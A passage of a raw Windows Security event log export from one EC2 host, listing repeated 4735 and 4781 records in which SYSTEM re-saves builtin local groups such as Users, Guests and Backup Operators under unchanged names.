Group Domain: Builtin - -Changed Attributes: - SAM Account Name: RDS Endpoint Servers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245134 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\RDS Endpoint Servers - Account Domain: Builtin - Old Account Name: RDS Endpoint Servers - New Account Name: RDS Endpoint Servers - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245133 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Endpoint Servers - Group Name: RDS Endpoint Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245132 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Remote Access Servers - Group Name: RDS Remote Access Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: RDS Remote Access Servers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245131 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\RDS Remote Access Servers - Account Domain: Builtin - Old Account Name: RDS Remote Access Servers - New Account Name: RDS Remote Access Servers - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245130 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\RDS Remote Access Servers - Group Name: RDS Remote Access Servers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245129 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Certificate Service DCOM Access - Group Name: Certificate Service DCOM Access - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Certificate Service DCOM Access - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245128 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Certificate Service DCOM Access - Account Domain: Builtin - Old Account Name: Certificate Service DCOM Access - New Account Name: Certificate Service DCOM Access - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245127 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Certificate Service DCOM Access - Group Name: Certificate Service DCOM Access - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245126 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Event Log Readers - Group Name: Event Log Readers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Event Log Readers - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245125 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Event Log Readers - Account Domain: Builtin - Old Account Name: Event Log Readers - New Account Name: Event Log Readers - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245124 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Event Log Readers - Group Name: Event Log Readers - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245123 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Cryptographic Operators - Group Name: Cryptographic Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Cryptographic Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245122 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Cryptographic Operators - Account Domain: Builtin - Old Account Name: Cryptographic Operators - New Account Name: Cryptographic Operators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245121 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Cryptographic Operators - Group Name: Cryptographic Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245120 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\IIS_IUSRS - Group Name: IIS_IUSRS - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: IIS_IUSRS - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245119 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\IIS_IUSRS - Account Domain: Builtin - Old Account Name: IIS_IUSRS - New Account Name: IIS_IUSRS - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245118 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\IIS_IUSRS - Group Name: IIS_IUSRS - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245117 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Distributed COM Users - Group Name: Distributed COM Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Distributed COM Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245116 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Distributed COM Users - Account Domain: Builtin - Old Account Name: Distributed COM Users - New Account Name: Distributed COM Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245115 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Distributed COM Users - Group Name: Distributed COM Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245114 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Log Users - Group Name: Performance Log Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Performance Log Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245113 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Performance Log Users - Account Domain: Builtin - Old Account Name: Performance Log Users - New Account Name: Performance Log Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245112 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Log Users - Group Name: Performance Log Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245111 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Monitor Users - Group Name: Performance Monitor Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Performance Monitor Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245110 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Performance Monitor Users - Account Domain: Builtin - Old Account Name: Performance Monitor Users - New Account Name: Performance Monitor Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245109 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Performance Monitor Users - Group Name: Performance Monitor Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245108 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: NONE_MAPPED - Group Name: Power Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Power Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245107 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: NONE_MAPPED - Account Domain: Builtin - Old Account Name: Power Users - New Account Name: Power Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245106 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: NONE_MAPPED - Group Name: Power Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245105 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Network Configuration Operators - Group Name: Network Configuration Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Network Configuration Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245104 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Network Configuration Operators - Account Domain: Builtin - Old Account Name: Network Configuration Operators - New Account Name: Network Configuration Operators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245103 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Network Configuration Operators - Group Name: Network Configuration Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245102 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Remote Desktop Users - Group Name: Remote Desktop Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Remote Desktop Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245101 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Remote Desktop Users - Account Domain: Builtin - Old Account Name: Remote Desktop Users - New Account Name: Remote Desktop Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245100 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Remote Desktop Users - Group Name: Remote Desktop Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245099 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Replicator - Group Name: Replicator - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Replicator - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245098 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Replicator - Account Domain: Builtin - Old Account Name: Replicator - New Account Name: Replicator - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245097 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Replicator - Group Name: Replicator - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245096 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Backup Operators - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245095 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Backup Operators - Account Domain: Builtin - Old Account Name: Backup Operators - New Account Name: Backup Operators - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245094 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245093 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Guests - Group Name: Guests - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Guests - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245092 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Guests - Account Domain: Builtin - Old Account Name: Guests - New Account Name: Guests - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245091 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Guests - Group Name: Guests - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245090 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Users - Group Name: Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: Users - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4781 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245089 -Keywords=Audit Success -Message=The name of an account was changed: - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: BUILTIN\Users - Account Domain: Builtin - Old Account Name: Users - New Account Name: Users - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245088 -Keywords=Audit Success -Message=A security-enabled local group was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Users - Group Name: Users - Group Domain: Builtin - -Changed Attributes: - SAM Account Name: - - SID History: - - -Additional Information: - Privileges: - -03/11/2021 11:16:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4735 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR 